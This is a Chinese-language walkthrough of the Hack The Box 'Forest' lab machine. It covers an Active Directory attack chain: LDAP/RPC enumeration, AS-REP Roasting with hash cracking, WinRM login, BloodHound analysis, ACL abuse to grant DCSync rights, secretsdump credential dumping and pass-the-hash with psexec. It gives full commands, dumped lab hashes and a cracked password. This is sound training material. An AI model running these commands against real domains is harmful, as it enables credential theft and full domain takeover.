[HTB] Forest 域靶机渗透全流程

概述

HTB Forest 是一台 Windows Active Directory 环境 的靶机,难度评级为 Easy。该靶机重点考察了以下域渗透核心知识点:
在这里插入图片描述

  • AS-REP Roasting 攻击
  • ACL 权限滥用
  • DCSync 权限提权

本文完整记录了从信息收集到最终域管理员权限获取的全过程,详细展示了每一步的命令、思路及工具使用,适合正在学习 Windows 域渗透与权限提升 的安全研究人员和渗透测试初学者。


阶段 1:信息收集与域环境识别

1.1 Nmap 扫描

首先对目标主机进行端口全扫描,识别开放的服务及域信息:

nmap -Pn -sC -sV -p- -sT -T4 10.129.138.186

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-08 12:37:52Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  msrpc        Microsoft Windows RPC
49677/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49681/tcp open  msrpc        Microsoft Windows RPC
49698/tcp open  msrpc        Microsoft Windows RPC
50018/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

关键信息:

  • 域名:htb.local
  • 主机名:FOREST
  • 系统版本:Windows Server 2016 Standard
  • 开放端口:53、88、135、389、445、593、5985、9389 等

说明目标是一个 Active Directory 域控制器 环境。


1.2 SMB 枚举

smbclient -L 10.129.138.186

Password for [WORKGROUP\root]:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.138.186 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
crackmapexec smb 10.129.138.186 -u '' -p '' --shares

在这里插入图片描述

发现 message_signing 启用且必需,匿名访问受限,但仍可识别出主机域名和工作组信息。


1.3 获取密码策略

crackmapexec smb 10.129.138.186 --pass-pol

结果:
在这里插入图片描述

  • 密码最小长度:7
  • 密码复杂度:启用
  • 账号锁定阈值:0(无限制)

可进行 密码喷射攻击(Password Spraying)


1.4 LDAP 枚举

使用 ldapsearch 匿名绑定,成功获取域用户信息:

ldapsearch -x -H ldap://10.129.138.186 -b "dc=htb,dc=local" '(objectClass=User)' sAMAccountName

再删除掉Guesr,DefaultAccount,机器账户,SM,Health等内容
在这里插入图片描述

提取得到用户名列表,保存为userlist.ldap字典文件:

sebastien
lucinda
andy
mark
santi

1.5 RPC 枚举

rpcclient -N 10.129.138.186 -U ''
rpcclient $> enumdomusers # 枚举域用户
rpcclient $> enumdomgroups # 枚举域组
rpcclient $> querydominfo # 查询域信息

相较于ldap查询,通过RPC又多获取了一个用户名:svc-alfresco,将其加入userlist.ldap字典文件。
在这里插入图片描述

查询svc-alfresco用户的相关信息

queryuser svc-alfresco
# 或者通过rid查询
queryuser 0x47b

在这里插入图片描述
查询用户的组信息

queryusergroups svc-alfresco
# 有时候直接用户名查询不行,再尝试一下rid
queryusergroups 0x47b

        group rid:[0x201] attr:[0x7]
        group rid:[0x47c] attr:[0x7]

查询组信息

# querygroup [rid]
rpcclient $> querygroup 0x201
        Group Name:     Domain Users
        Description:    All domain users
        Group Attribute:7
        Num Members:30
rpcclient $> querygroup 0x47c
        Group Name:     Service Accounts
        Description:
        Group Attribute:7
        Num Members:1
rpcclient $> 

通过 enumdomusersqueryusergroups 确认 svc-alfresco 属于 Service Accounts 组。


阶段 2:初始访问 — AS-REP Roasting

由于部分用户未启用 Kerberos 预身份验证,可直接对其进行 AS-REP Roasting 攻击。

impacket-GetNPUsers htb.local/ -dc-ip 10.129.138.186 -usersfile userlist.ldap -outputfile asrep.hash

得到可爆破的哈希:
在这里插入图片描述

$krb5asrep$23$svc-alfresco@HTB.LOCAL:7ebe9ca839dedfeafa80d90e06333d6f...

使用 Hashcat 爆破:

hashcat -m 18200 asrep.hash rockyou.txt

成功爆出密码:
在这里插入图片描述

svc-alfresco : s3rvice

阶段 3:系统访问与信息收集

3.1 Evil-WinRM 登录

evil-winrm -i 10.129.138.186 -u svc-alfresco -p 's3rvice'

成功登录:
在这里插入图片描述

获取 user.txt flag。
在这里插入图片描述


3.2 主机与域信息收集

对红色方框用户执行net user发现都是普通域用户
在这里插入图片描述

3.3 BloodHound 数据收集

上传并执行 SharpHound:

.\SharpHound.exe -c all

将结果文件下载至 Kali:

kali:impacket-smbserver -smb2support share /tmp/smbshare
靶机:copy .\BloodHound.zip \\10.10.14.6\share\

阶段 4:权限提升 — ACL 滥用到 DCSync

4.1 BloodHound 分析路径

选择“从域用户到零层/高价值目标的最短路径”
在这里插入图片描述

提权路径:
在这里插入图片描述

在 BloodHound 中分析用户关系,发现:

  • svc-alfresco 属于 Service Accounts
  • Service Accounts 属于 Privileged IT Accounts
  • Privileged IT Accounts 属于 Account Operators
  • Account OperatorsExchange Windows Permissions 拥有 GenericAll 权限
  • Exchange Windows Permissions 组具有 WriteDACL 权限,可修改域对象 ACL

即:可通过 修改 DACL → 赋予 DCSync 权限 → 提权为域管


4.2 新建用户并赋权

evil-winrm:

net user john Abc123! /add /domain
net group "Exchange Windows Permissions" john /add
net localgroup "Remote Management Users" john /add

4.3 使用 PowerView 修改 DACL

evil-winrm:

upload PowerView.ps1
. .\PowerView.ps1

$pass = ConvertTo-SecureString 'Abc123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\john', $pass)

Add-ObjectACL -PrincipalIdentity john -Credential $cred -Rights DCSync

4.4 执行 DCSync 获取域哈希

impacket-secretsdump htb/john@10.129.138.186


[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
------[skip]------
[*] Cleaning up... 

成功导出 Administrator 哈希。


4.5 横向移动至域控

使用哈希登录:

impacket-psexec administrator@10.129.138.186 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

C:\Users\Administrator\Documents> whoami
htb\administrator
C:\users\administrator\desktop>type root.txt

成功获取系统最高权限并访问 root.txt


阶段 5:结果与总结

5.1 获取结果

  • 初始用户:svc-alfresco

  • 域管用户:administrator

  • 攻击链:

    LDAP/RPC 枚举 → AS-REP Roasting → WinRM 登录 →
    BloodHound 分析 → ACL 滥用 → DCSync 提权
    

思路总结与学习要点

  1. LDAP 枚举的重要性
    匿名 LDAP 查询可直接获取用户清单,是发现弱口令与 Kerberos 攻击对象的关键。

  2. AS-REP Roasting 攻击逻辑
    当用户禁用 Kerberos 预身份验证时,攻击者可直接请求 TGT 并离线爆破其哈希。

  3. BloodHound 的价值
    它帮助可视化域内权限关系,快速识别可滥用路径,如 GenericAll、WriteDACL、ForceChangePassword 等。

  4. ACL 与 DCSync 提权链
    掌握 “GenericAll → WriteDACL → DCSync” 的提权思路,是域渗透进阶的核心技能。


注意:本文记录的渗透测试技术仅用于教学目的,所有测试都应在授权环境中进行。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值